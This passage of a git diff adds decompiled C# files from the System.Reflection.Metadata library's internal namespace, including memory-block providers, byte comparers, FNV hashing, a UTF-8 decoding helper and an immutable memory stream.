b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ByteArrayMemoryProvider.cs @@ -0,0 +1,57 @@ +using System.Collections.Immutable; +using System.IO; +using System.Threading; + +namespace System.Reflection.Internal; + +internal sealed class ByteArrayMemoryProvider : MemoryBlockProvider +{ + private readonly ImmutableArray _array; + + private PinnedObject _pinned; + + public override int Size => _array.Length; + + public ImmutableArray Array => _array; + + internal unsafe byte* Pointer + { + get + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + if (_pinned == null) + { + PinnedObject pinnedObject = new PinnedObject(ImmutableByteArrayInterop.DangerousGetUnderlyingArray(_array)); + if (Interlocked.CompareExchange(ref _pinned, pinnedObject, null) != null) + { + pinnedObject.Dispose(); + } + } + return _pinned.Pointer; + } + } + + public ByteArrayMemoryProvider(ImmutableArray array) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + _array = array; + } + + protected override void Dispose(bool disposing) + { + Interlocked.Exchange(ref _pinned, null)?.Dispose(); + } + + protected override AbstractMemoryBlock GetMemoryBlockImpl(int start, int size) + { + return new ByteArrayMemoryBlock(this, start, size); + } + + public override Stream GetStream(out StreamConstraints constraints) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + constraints = new StreamConstraints(null, 0L, Size); + return new ImmutableMemoryStream(_array); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ByteSequenceComparer.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ByteSequenceComparer.cs new file mode 100644 index 0000000..8d33acd --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ByteSequenceComparer.cs @@ -0,0 +1,61 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace System.Reflection.Internal; + +internal sealed class ByteSequenceComparer : IEqualityComparer, IEqualityComparer> +{ + internal static readonly ByteSequenceComparer Instance = new ByteSequenceComparer(); + + private ByteSequenceComparer() + { + } + + internal static bool Equals(ImmutableArray x, ImmutableArray y) + { + return x.AsSpan().SequenceEqual(y.AsSpan()); + } + + internal static bool Equals(byte[] left, int leftStart, byte[] right, int rightStart, int length) + { + return left.AsSpan(leftStart, length).SequenceEqual(right.AsSpan(rightStart, length)); + } + + internal static bool Equals(byte[]? left, byte[]? right) + { + return left.AsSpan().SequenceEqual(right.AsSpan()); + } + + internal static int GetHashCode(byte[] x) + { + return Hash.GetFNVHashCode(x); + } + + internal static int GetHashCode(ImmutableArray x) + { + return Hash.GetFNVHashCode(x.AsSpan()); + } + + bool IEqualityComparer.Equals(byte[] x, byte[] y) + { + return Equals(x, y); + } + + int IEqualityComparer.GetHashCode(byte[] x) + { + return GetHashCode(x); + } + + bool IEqualityComparer>.Equals(ImmutableArray x, ImmutableArray y) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Equals(x, y); + } + + int IEqualityComparer>.GetHashCode(ImmutableArray x) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return GetHashCode(x); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/CriticalDisposableObject.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/CriticalDisposableObject.cs new file mode 100644 index 0000000..f389c4e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/CriticalDisposableObject.cs @@ -0,0 +1,19 @@ +using System.Runtime.ConstrainedExecution; + +namespace System.Reflection.Internal; + +internal abstract class CriticalDisposableObject : CriticalFinalizerObject, IDisposable +{ + protected abstract void Release(); + + public void Dispose() + { + Release(); + GC.SuppressFinalize(this); + } + + ~CriticalDisposableObject() + { + Release(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/DecimalUtilities.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/DecimalUtilities.cs new file mode 100644 index 0000000..4a28bc7 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/DecimalUtilities.cs @@ -0,0 +1,19 @@ +namespace System.Reflection.Internal; + +internal static class DecimalUtilities +{ + public static int GetScale(this decimal value) + { + return (byte)(decimal.GetBits(value)[3] >> 16); + } + + public static void GetBits(this decimal value, out bool isNegative, out byte scale, out uint low, out uint mid, out uint high) + { + int[] bits = decimal.GetBits(value); + low = (uint)bits[0]; + mid = (uint)bits[1]; + high = (uint)bits[2]; + scale = (byte)(bits[3] >> 16); + isNegative = (bits[3] & 0x80000000u) != 0; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/EncodingHelper.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/EncodingHelper.cs new file mode 100644 index 0000000..2524876 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/EncodingHelper.cs @@ -0,0 +1,60 @@ +using System.Reflection.Metadata; +using System.Runtime.InteropServices; + +namespace System.Reflection.Internal; + +internal static class EncodingHelper +{ + public const int PooledBufferSize = 200; + + private static readonly ObjectPool s_pool = new ObjectPool(() => new byte[200]); + + public unsafe static string DecodeUtf8(byte* bytes, int byteCount, byte[] prefix, MetadataStringDecoder utf8Decoder) + { + if (prefix != null) + { + return DecodeUtf8Prefixed(bytes, byteCount, prefix, utf8Decoder); + } + if (byteCount == 0) + { + return string.Empty; + } + return utf8Decoder.GetString(bytes, byteCount); + } + + private unsafe static string DecodeUtf8Prefixed(byte* bytes, int byteCount, byte[] prefix, MetadataStringDecoder utf8Decoder) + { + int num = byteCount + prefix.Length; + if (num == 0) + { + return string.Empty; + } + byte[] array = AcquireBuffer(num); + prefix.CopyTo(array, 0); + Marshal.Copy((IntPtr)bytes, array, prefix.Length, byteCount); + string result; + fixed (byte* bytes2 = &array[0]) + { + result = utf8Decoder.GetString(bytes2, num); + } + ReleaseBuffer(array); + return result; + } + + private static byte[] AcquireBuffer(int byteCount) + { + if (byteCount > 200) + { + return new byte[byteCount]; + } + return s_pool.Allocate(); + } + + private static void ReleaseBuffer(byte[] buffer) + { + if (buffer.Length == 200) + { + s_pool.Free(buffer); + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/EnumerableExtensions.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/EnumerableExtensions.cs new file mode 100644 index 0000000..d6d721f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/EnumerableExtensions.cs @@ -0,0 +1,59 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace System.Reflection.Internal; + +internal static class EnumerableExtensions +{ + public static T? FirstOrDefault(this ImmutableArray collection, Func predicate) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = collection.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (predicate(current)) + { + return current; + } + } + return default(T); + } + + public static IEnumerable Select(this IEnumerable source, Func selector) + { + foreach (TSource item in source) + { + yield return selector(item); + } + } + + public static T Last(this Builder source) + { + return source[source.Count - 1]; + } + + public static IEnumerable OrderBy(this List source, Comparison comparison) + { + int[] array = new int[source.Count]; + for (int i = 0; i < array.Length; i++) + { + array[i] = i; + } + Array.Sort(array, delegate(int left, int right) + { + if (left == right) + { + return 0; + } + int num2 = comparison(source[left], source[right]); + return (num2 == 0) ? (left - right) : num2; + }); + int[] array2 = array; + foreach (int index in array2) + { + yield return source[index]; + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ExceptionUtilities.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ExceptionUtilities.cs new file mode 100644 index 0000000..5fff600 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ExceptionUtilities.cs @@ -0,0 +1,13 @@ +namespace System.Reflection.Internal; + +internal static class ExceptionUtilities +{ + internal static Exception UnexpectedValue(object value) + { + if (value != null && value.GetType().FullName != null) + { + return new InvalidOperationException(System.SR.Format(System.SR.UnexpectedValue, value, value.GetType().FullName)); + } + return new InvalidOperationException(System.SR.Format(System.SR.UnexpectedValueUnknownType, value)); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ExternalMemoryBlock.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ExternalMemoryBlock.cs new file mode 100644 index 0000000..0ae015f --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ExternalMemoryBlock.cs @@ -0,0 +1,27 @@ +namespace System.Reflection.Internal; + +internal sealed class ExternalMemoryBlock : AbstractMemoryBlock +{ + private readonly object _memoryOwner; + + private unsafe byte* _buffer; + + private int _size; + + public unsafe override byte* Pointer => _buffer; + + public override int Size => _size; + + public unsafe ExternalMemoryBlock(object memoryOwner, byte* buffer, int size) + { + _memoryOwner = memoryOwner; + _buffer = buffer; + _size = size; + } + + public unsafe override void Dispose() + { + _buffer = null; + _size = 0; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ExternalMemoryBlockProvider.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ExternalMemoryBlockProvider.cs new file mode 100644 index 0000000..362943e --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ExternalMemoryBlockProvider.cs @@ -0,0 +1,37 @@ +using System.IO; + +namespace System.Reflection.Internal; + +internal sealed class ExternalMemoryBlockProvider : MemoryBlockProvider +{ + private unsafe byte* _memory; + + private int _size; + + public override int Size => _size; + + public unsafe byte* Pointer => _memory; + + public unsafe ExternalMemoryBlockProvider(byte* memory, int size) + { + _memory = memory; + _size = size; + } + + protected unsafe override AbstractMemoryBlock GetMemoryBlockImpl(int start, int size) + { + return new ExternalMemoryBlock(this, _memory + start, size); + } + + public unsafe override Stream GetStream(out StreamConstraints constraints) + { + constraints = new StreamConstraints(null, 0L, _size); + return new ReadOnlyUnmanagedMemoryStream(_memory, _size); + } + + protected unsafe override void Dispose(bool disposing) + { + _memory = null; + _size = 0; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/Hash.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/Hash.cs new file mode 100644 index 0000000..0a43a59 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/Hash.cs @@ -0,0 +1,33 @@ +namespace System.Reflection.Internal; + +internal static class Hash +{ + internal const int FnvOffsetBias = -2128831035; + + internal const int FnvPrime = 16777619; + + internal static int Combine(int newKey, int currentKey) + { + return currentKey * -1521134295 + newKey; + } + + internal static int Combine(uint newKey, int currentKey) + { + return currentKey * -1521134295 + (int)newKey; + } + + internal static int Combine(bool newKeyPart, int currentKey) + { + return Combine(currentKey, newKeyPart ? 1 : 0); + } + + internal static int GetFNVHashCode(ReadOnlySpan data) + { + int num = -2128831035; + for (int i = 0; i < data.Length; i++) + { + num = (num ^ data[i]) * 16777619; + } + return num; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ImmutableByteArrayInterop.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ImmutableByteArrayInterop.cs new file mode 100644 index 0000000..ed03bfe --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ImmutableByteArrayInterop.cs @@ -0,0 +1,40 @@ +using System.Collections.Immutable; +using System.Runtime.InteropServices; + +namespace System.Reflection.Internal; + +internal static class ImmutableByteArrayInterop +{ + [StructLayout(LayoutKind.Explicit)] + private struct ByteArrayUnion + { + [FieldOffset(0)] + internal byte[] UnderlyingArray; + + [FieldOffset(0)] + internal ImmutableArray ImmutableArray; + } + + internal static ImmutableArray DangerousCreateFromUnderlyingArray(ref byte[]? array) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + byte[] underlyingArray = array; + array = null; + ByteArrayUnion byteArrayUnion = new ByteArrayUnion + { + UnderlyingArray = underlyingArray + }; + return byteArrayUnion.ImmutableArray; + } + + internal static byte[]? DangerousGetUnderlyingArray(ImmutableArray array) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + ByteArrayUnion byteArrayUnion = new ByteArrayUnion + { + ImmutableArray = array + }; + return byteArrayUnion.UnderlyingArray; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ImmutableMemoryStream.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ImmutableMemoryStream.cs new file mode 100644 index 0000000..f590a96 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/ImmutableMemoryStream.cs @@ -0,0 +1,95 @@ +using System.Collections.Immutable; +using System.IO; + +namespace System.Reflection.Internal; + +internal sealed class ImmutableMemoryStream : Stream +{ + private readonly ImmutableArray _array; + + private int _position; + + public override bool CanRead => true; + + public override bool CanSeek => true; + + public override bool CanWrite => false; + + public override long Length => _array.Length; + + public override long Position + { + get + { + return _position; + } + set + { + if (value < 0 || value >= _array.Length) + { + throw new ArgumentOutOfRangeException("value"); + } + _position = (int)value; + } + } + + internal ImmutableMemoryStream(ImmutableArray array) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + _array = array; + } + + public ImmutableArray GetBuffer() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return _array; + } + + public override void Flush() + { + } + + public override int Read(byte[] buffer, int offset, int count) + { + int num = Math.Min(count, _array.Length - _position); + _array.CopyTo(_position, buffer, offset, num); + _position += num; + return num; + } + + public override long Seek(long offset, SeekOrigin origin) + { + long num; + try + { + num = checked(origin switch + { + SeekOrigin.Begin => offset, + SeekOrigin.Current => offset + _position, + SeekOrigin.End => offset + _array.Length, + _ => throw new ArgumentOutOfRangeException("origin"), + }); + } + catch (OverflowException) + { + throw new ArgumentOutOfRangeException("offset"); + } + if (num < 0 || num >= _array.Length) + { + throw new ArgumentOutOfRangeException("offset"); + } + _position = (int)num; + return num; + } + + public override void SetLength(long value) + { + throw new NotSupportedException(); + } + + public override void Write(byte[] buffer, int offset, int count) + { + throw new NotSupportedException(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/MemoryBlock.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/MemoryBlock.cs new file mode 100644 index 0000000..a219c47 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/MemoryBlock.cs @@ -0,0 +1,667 @@ +using System.Diagnostics; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Runtime.CompilerServices; +using System.Text; + +namespace System.Reflection.Internal; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +internal readonly struct MemoryBlock +{ + internal enum FastComparisonResult + { + Equal, + BytesStartWithText, + TextStartsWithBytes, + Unequal, + Inconclusive + } + + internal unsafe readonly byte* Pointer; + + internal readonly int Length; + + internal unsafe MemoryBlock(byte* buffer, int length) + { + Pointer = buffer; + Length = length; + } + + internal unsafe static MemoryBlock CreateChecked(byte* buffer, int length) + { + if (length < 0) + { + throw new ArgumentOutOfRangeException("length"); + } + if (buffer == null && length != 0) + { + Throw.ArgumentNull("buffer"); + } + return new MemoryBlock(buffer, length); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void CheckBounds(int offset, int byteCount) + { + if ((ulong)((long)(uint)offset + (long)(uint)byteCount) > (ulong)Length) + { + Throw.OutOfBounds(); + } + } + + internal unsafe byte[]? ToArray() + { + if (Pointer != null) + { + return PeekBytes(0, Length); + } + return null; + } + + private unsafe string GetDebuggerDisplay() + { + if (Pointer == null) + { + return ""; + } + int displayedBytes; + return GetDebuggerDisplay(out displayedBytes); + } + + internal string GetDebuggerDisplay(out int displayedBytes) + { + displayedBytes = Math.Min(Length, 64); + string text = BitConverter.ToString(PeekBytes(0, displayedBytes)); + if (displayedBytes < Length) + { + text += "-..."; + } + return text; + } + + internal unsafe string GetDebuggerDisplay(int offset) + { + if (Pointer == null) + { + return ""; + } + int displayedBytes; + string debuggerDisplay = GetDebuggerDisplay(out displayedBytes); + if (offset < displayedBytes) + { + return debuggerDisplay.Insert(offset * 3, "*"); + } + if (displayedBytes == Length) + { + return debuggerDisplay + "*"; + } + return debuggerDisplay + "*..."; + } + + internal unsafe MemoryBlock GetMemoryBlockAt(int offset, int length) + { + CheckBounds(offset, length); + return new MemoryBlock(Pointer + offset, length); + } + + internal unsafe byte PeekByte(int offset) + { + CheckBounds(offset, 1); + return Pointer[offset]; + } + + internal int PeekInt32(int offset) + { + uint num = PeekUInt32(offset); + if ((int)num != num) + { + Throw.ValueOverflow(); + } + return (int)num; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal unsafe uint PeekUInt32(int offset) + { + CheckBounds(offset, 4); + byte* ptr = Pointer + offset; + return (uint)(*ptr | (ptr[1] << 8) | (ptr[2] << 16) | (ptr[3] << 24)); + } + + internal unsafe int PeekCompressedInteger(int offset, out int numberOfBytesRead) + { + CheckBounds(offset, 0); + byte* ptr = Pointer + offset; + long num = Length - offset; + if (num == 0L) + { + numberOfBytesRead = 0; + return int.MaxValue; + } + byte b = *ptr; + if ((b & 0x80) == 0) + { + numberOfBytesRead = 1; + return b; + } + if ((b & 0x40) == 0) + { + if (num >= 2) + { + numberOfBytesRead = 2; + return ((b & 0x3F) << 8) | ptr[1]; + } + } + else if ((b & 0x20) == 0 && num >= 4) + { + numberOfBytesRead = 4; + return ((b & 0x1F) << 24) | (ptr[1] << 16) | (ptr[2] << 8) | ptr[3]; + } + numberOfBytesRead = 0; + return int.MaxValue; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal unsafe ushort PeekUInt16(int offset) + { + CheckBounds(offset, 2); + byte* ptr = Pointer + offset; + return (ushort)(*ptr | (ptr[1] << 8)); + } + + internal uint PeekTaggedReference(int offset, bool smallRefSize) + { + return PeekReferenceUnchecked(offset, smallRefSize); + } + + internal uint PeekReferenceUnchecked(int offset, bool smallRefSize) + { + if (!smallRefSize) + { + return PeekUInt32(offset); + } + return PeekUInt16(offset); + } + + internal int PeekReference(int offset, bool smallRefSize) + { + if (smallRefSize) + { + return PeekUInt16(offset); + } + uint num = PeekUInt32(offset); + if (!TokenTypeIds.IsValidRowId(num)) + { + Throw.ReferenceOverflow(); + } + return (int)num; + } + + internal int PeekHeapReference(int offset, bool smallRefSize) + { + if (smallRefSize) + { + return PeekUInt16(offset); + } + uint num = PeekUInt32(offset); + if (!HeapHandleType.IsValidHeapOffset(num)) + { + Throw.ReferenceOverflow(); + } + return (int)num; + } + + internal unsafe Guid PeekGuid(int offset) + { + CheckBounds(offset, sizeof(Guid)); + byte* ptr = Pointer + offset; + if (BitConverter.IsLittleEndian) + { + return *(Guid*)ptr; + } + return new Guid(*ptr | (ptr[1] << 8) | (ptr[2] << 16) | (ptr[3] << 24), (short)(ptr[4] | (ptr[5] << 8)), (short)(ptr[6] | (ptr[7] << 8)), ptr[8], ptr[9], ptr[10], ptr[11], ptr[12], ptr[13], ptr[14], ptr[15]); + } + + internal unsafe string PeekUtf16(int offset, int byteCount) + { + CheckBounds(offset, byteCount); + byte* ptr = Pointer + offset; + if (BitConverter.IsLittleEndian) + { + return new string((char*)ptr, 0, byteCount / 2); + } + return Encoding.Unicode.GetString(ptr, byteCount); + } + + internal unsafe string PeekUtf8(int offset, int byteCount) + { + CheckBounds(offset, byteCount); + return Encoding.UTF8.GetString(Pointer + offset, byteCount); + } + + internal unsafe string PeekUtf8NullTerminated(int offset, byte[]? prefix, MetadataStringDecoder utf8Decoder, out int numberOfBytesRead, char terminator = '\0') + { + CheckBounds(offset, 0); + int utf8NullTerminatedLength = GetUtf8NullTerminatedLength(offset, out numberOfBytesRead, terminator); + return EncodingHelper.DecodeUtf8(Pointer + offset, utf8NullTerminatedLength, prefix, utf8Decoder); + } + + internal unsafe int GetUtf8NullTerminatedLength(int offset, out int numberOfBytesRead, char terminator = '\0') + { + CheckBounds(offset, 0); + byte* ptr = Pointer + offset; + byte* ptr2 = Pointer + Length; + byte* ptr3; + for (ptr3 = ptr; ptr3 < ptr2; ptr3++) + { + byte b = *ptr3; + if (b == 0 || b == terminator) + { + break; + } + } + int result = (numberOfBytesRead = (int)(ptr3 - ptr)); + if (ptr3 < ptr2) + { + numberOfBytesRead++; + } + return result; + } + + internal unsafe int Utf8NullTerminatedOffsetOfAsciiChar(int startOffset, char asciiChar) + { + CheckBounds(startOffset, 0); + for (int i = startOffset; i < Length; i++) + { + byte b = Pointer[i]; + if (b == 0) + { + break; + } + if (b == asciiChar) + { + return i; + } + } + return -1; + } + + internal bool Utf8NullTerminatedEquals(int offset, string text, MetadataStringDecoder utf8Decoder, char terminator, bool ignoreCase) + { + int firstDifferenceIndex; + FastComparisonResult fastComparisonResult = Utf8NullTerminatedFastCompare(offset, text, 0, out firstDifferenceIndex, terminator, ignoreCase); + if (fastComparisonResult == FastComparisonResult.Inconclusive) + { + string text2 = PeekUtf8NullTerminated(offset, null, utf8Decoder, out firstDifferenceIndex, terminator); + return text2.Equals(text, ignoreCase ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal); + } + return fastComparisonResult == FastComparisonResult.Equal; + } + + internal bool Utf8NullTerminatedStartsWith(int offset, string text, MetadataStringDecoder utf8Decoder, char terminator, bool ignoreCase) + { + int firstDifferenceIndex; + switch (Utf8NullTerminatedFastCompare(offset, text, 0, out firstDifferenceIndex, terminator, ignoreCase)) + { + case FastComparisonResult.Equal: + case FastComparisonResult.BytesStartWithText: + return true; + case FastComparisonResult.TextStartsWithBytes: + case FastComparisonResult.Unequal: + return false; + default: + { + string text2 = PeekUtf8NullTerminated(offset, null, utf8Decoder, out firstDifferenceIndex, terminator); + return text2.StartsWith(text, ignoreCase ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal); + } + } + } + + internal unsafe FastComparisonResult Utf8NullTerminatedFastCompare(int offset, string text, int textStart, out int firstDifferenceIndex, char terminator, bool ignoreCase) + { + CheckBounds(offset, 0); + byte* ptr = Pointer + offset; + byte* ptr2 = Pointer + Length; + byte* ptr3 = ptr; + int ignoreCaseMask = StringUtils.IgnoreCaseMask(ignoreCase); + int num = textStart; + while (num < text.Length && ptr3 != ptr2) + { + byte b = *ptr3; + if (b == 0 || b == terminator) + { + break; + } + char c = text[num]; + if ((b & 0x80) == 0 && StringUtils.IsEqualAscii(c, b, ignoreCaseMask)) + { + num++; + ptr3++; + continue; + } + firstDifferenceIndex = num; + if (c <= '\u007f') + { + return FastComparisonResult.Unequal; + } + return FastComparisonResult.Inconclusive; + } + firstDifferenceIndex = num; + bool flag = num == text.Length; + bool flag2 = ptr3 == ptr2 || *ptr3 == 0 || *ptr3 == terminator; + if (flag && flag2) + { + return FastComparisonResult.Equal; + } + if (!flag) + { + return FastComparisonResult.TextStartsWithBytes; + } + return FastComparisonResult.BytesStartWithText; + } + + internal unsafe bool Utf8NullTerminatedStringStartsWithAsciiPrefix(int offset, string asciiPrefix) + { + CheckBounds(offset, 0); + if (asciiPrefix.Length > Length - offset) + { + return false; + } + byte* ptr = Pointer + offset; + for (int i = 0; i < asciiPrefix.Length; i++) + { + if (asciiPrefix[i] != *ptr) + { + return false; + } + ptr++; + } + return true; + } + + internal unsafe int CompareUtf8NullTerminatedStringWithAsciiString(int offset, string asciiString) + { + CheckBounds(offset, 0); + byte* ptr = Pointer + offset; + int num = Length - offset; + for (int i = 0; i < asciiString.Length; i++) + { + if (i > num) + { + return -1; + } + if (*ptr != asciiString[i]) + { + return *ptr - asciiString[i]; + } + ptr++; + } + if (*ptr != 0) + { + return 1; + } + return 0; + } + + internal unsafe byte[] PeekBytes(int offset, int byteCount) + { + CheckBounds(offset, byteCount); + return BlobUtilities.ReadBytes(Pointer + offset, byteCount); + } + + internal int IndexOf(byte b, int start) + { + CheckBounds(start, 0); + return IndexOfUnchecked(b, start); + } + + internal unsafe int IndexOfUnchecked(byte b, int start) + { + byte* ptr = Pointer + start; + for (byte* ptr2 = Pointer + Length; ptr < ptr2; ptr++) + { + if (*ptr == b) + { + return (int)(ptr - Pointer); + } + } + return -1; + } + + internal int BinarySearch(string[] asciiKeys, int offset) + { + int num = 0; + int num2 = asciiKeys.Length - 1; + while (num <= num2) + { + int num3 = num + (num2 - num >> 1); + string asciiString = asciiKeys[num3]; + int num4 = CompareUtf8NullTerminatedStringWithAsciiString(offset, asciiString); + if (num4 == 0) + { + return num3; + } + if (num4 < 0) + { + num2 = num3 - 1; + } + else + { + num = num3 + 1; + } + } + return ~num; + } + + internal int BinarySearchForSlot(int rowCount, int rowSize, int referenceListOffset, uint referenceValue, bool isReferenceSmall) + { + int num = 0; + int num2 = rowCount - 1; + uint num3 = PeekReferenceUnchecked(num * rowSize + referenceListOffset, isReferenceSmall); + uint num4 = PeekReferenceUnchecked(num2 * rowSize + referenceListOffset, isReferenceSmall); + if (num2 == 1) + { + if (referenceValue >= num4) + { + return num2; + } + return num; + } + while (num2 - num > 1) + { + if (referenceValue <= num3) + { + if (referenceValue != num3) + { + return num - 1; + } + return num; + } + if (referenceValue >= num4) + { + if (referenceValue != num4) + { + return num2 + 1; + } + return num2; + } + int num5 = (num + num2) / 2; + uint num6 = PeekReferenceUnchecked(num5 * rowSize + referenceListOffset, isReferenceSmall); + if (referenceValue > num6) + { + num = num5; + num3 = num6; + continue; + } + if (referenceValue < num6) + { + num2 = num5; + num4 = num6; + continue; + } + return num5; + } + return num; + } + + internal int BinarySearchReference(int rowCount, int rowSize, int referenceOffset, uint referenceValue, bool isReferenceSmall) + { + int num = 0; + int num2 = rowCount - 1; + while (num <= num2) + { + int num3 = (num + num2) / 2; + uint num4 = PeekReferenceUnchecked(num3 * rowSize + referenceOffset, isReferenceSmall); + if (referenceValue > num4) + { + num = num3 + 1; + continue; + } + if (referenceValue < num4) + { + num2 = num3 - 1; + continue; + } + return num3; + } + return -1; + } + + internal int BinarySearchReference(int[] ptrTable, int rowSize, int referenceOffset, uint referenceValue, bool isReferenceSmall) + { + int num = 0; + int num2 = ptrTable.Length - 1; + while (num <= num2) + { + int num3 = (num + num2) / 2; + uint num4 = PeekReferenceUnchecked((ptrTable[num3] - 1) * rowSize + referenceOffset, isReferenceSmall); + if (referenceValue > num4) + { + num = num3 + 1; + continue; + } + if (referenceValue < num4) + { + num2 = num3 - 1; + continue; + } + return num3; + } + return -1; + } + + internal void BinarySearchReferenceRange(int rowCount, int rowSize, int referenceOffset, uint referenceValue, bool isReferenceSmall, out int startRowNumber, out int endRowNumber) + { + int num = BinarySearchReference(rowCount, rowSize, referenceOffset, referenceValue, isReferenceSmall); + if (num == -1) + { + startRowNumber = -1; + endRowNumber = -1; + return; + } + startRowNumber = num; + while (startRowNumber > 0 && PeekReferenceUnchecked((startRowNumber - 1) * rowSize + referenceOffset, isReferenceSmall) == referenceValue) + { + startRowNumber--; + } + endRowNumber = num; + while (endRowNumber + 1 < rowCount && PeekReferenceUnchecked((endRowNumber + 1) * rowSize + referenceOffset, isReferenceSmall) == referenceValue) + { + endRowNumber++; + } + } + + internal void BinarySearchReferenceRange(int[] ptrTable, int rowSize, int referenceOffset, uint referenceValue, bool isReferenceSmall, out int startRowNumber, out int endRowNumber) + { + int num = BinarySearchReference(ptrTable, rowSize, referenceOffset, referenceValue, isReferenceSmall); + if (num == -1) + { + startRowNumber = -1; + endRowNumber = -1; + return; + } + startRowNumber = num; + while (startRowNumber > 0 && PeekReferenceUnchecked((ptrTable[startRowNumber - 1] - 1) * rowSize + referenceOffset, isReferenceSmall) == referenceValue) + { + startRowNumber--; + } + endRowNumber = num; + while (endRowNumber + 1 < ptrTable.Length && PeekReferenceUnchecked((ptrTable[endRowNumber + 1] - 1) * rowSize + referenceOffset, isReferenceSmall) == referenceValue) + { + endRowNumber++; + } + } + + internal int LinearSearchReference(int rowSize, int referenceOffset, uint referenceValue, bool isReferenceSmall) + { + int i = referenceOffset; + for (int length = Length; i < length; i += rowSize) + { + uint num = PeekReferenceUnchecked(i, isReferenceSmall); + if (num == referenceValue) + { + return i / rowSize; + } + } + return -1; + } + + internal bool IsOrderedByReferenceAscending(int rowSize, int referenceOffset, bool isReferenceSmall) + { + int i = referenceOffset; + int length = Length; + uint num = 0u; + for (; i < length; i += rowSize) + { + uint num2 = PeekReferenceUnchecked(i, isReferenceSmall); + if (num2 < num) + { + return false; + } + num = num2; + } + return true; + } + + internal int[] BuildPtrTable(int numberOfRows, int rowSize, int referenceOffset, bool isReferenceSmall) + { + int[] array = new int[numberOfRows]; + uint[] unsortedReferences = new uint[numberOfRows]; + for (int i = 0; i < array.Length; i++) + { + array[i] = i + 1; + } + ReadColumn(unsortedReferences, rowSize, referenceOffset, isReferenceSmall); + Array.Sort(array, (int a, int b) => unsortedReferences[a - 1].CompareTo(unsortedReferences[b - 1])); + return array; + } + + private void ReadColumn(uint[] result, int rowSize, int referenceOffset, bool isReferenceSmall) + { + int num = referenceOffset; + int length = Length; + int num2 = 0; + while (num < length) + { + result[num2] = PeekReferenceUnchecked(num, isReferenceSmall); + num += rowSize; + num2++; + } + } + + internal bool PeekHeapValueOffsetAndSize(int index, out int offset, out int size) + { + int numberOfBytesRead; + int num = PeekCompressedInteger(index, out numberOfBytesRead); + if (num == int.MaxValue) + { + offset = 0; + size = 0; + return false; + } + offset = index + numberOfBytesRead; + size = num; + return true; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Internal/MemoryBlockProvider.cs 